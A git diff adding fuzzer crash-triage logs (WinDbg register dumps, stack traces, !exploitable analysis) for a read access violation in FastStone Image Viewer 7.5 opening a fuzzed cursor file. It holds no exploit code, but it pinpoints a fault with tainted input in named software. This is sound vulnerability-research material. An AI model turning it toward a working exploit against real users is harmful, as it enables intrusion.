C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74ba0000 00000000`74bc2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(3f8.950): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=000fed2d ecx=08017b10 edx=00003879 esi=ffb30010 edi=0fbf2fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.797342047127225440000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 1.582738200000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=3.04225e+020 -1.45566e-024 -8.44567e+032 -4.60451e+008 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 080f8130 08075930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002b4000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002b4000 9b6dbca7 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b7 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002b4000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63372/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63372/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..9ce4187 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63372/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x3F8: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x3F8: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74ba0000 00000000`74bc2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(3f8.950): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=000fed2d ecx=08017b10 edx=00003879 esi=ffb30010 edi=0fbf2fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.797342047127225440000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 1.582738200000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=3.04225e+020 -1.45566e-024 -8.44567e+032 -4.60451e+008 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 080f8130 08075930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002b4000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002b4000 9b6dbca7 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b7 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002b4000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63372/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63372/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..5c2759d Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63372/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63869/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63869/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63869/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63869/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63869/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..31d8f91 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63869/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63869/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63869/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..9eff803 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63869/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1FB0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1FB0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 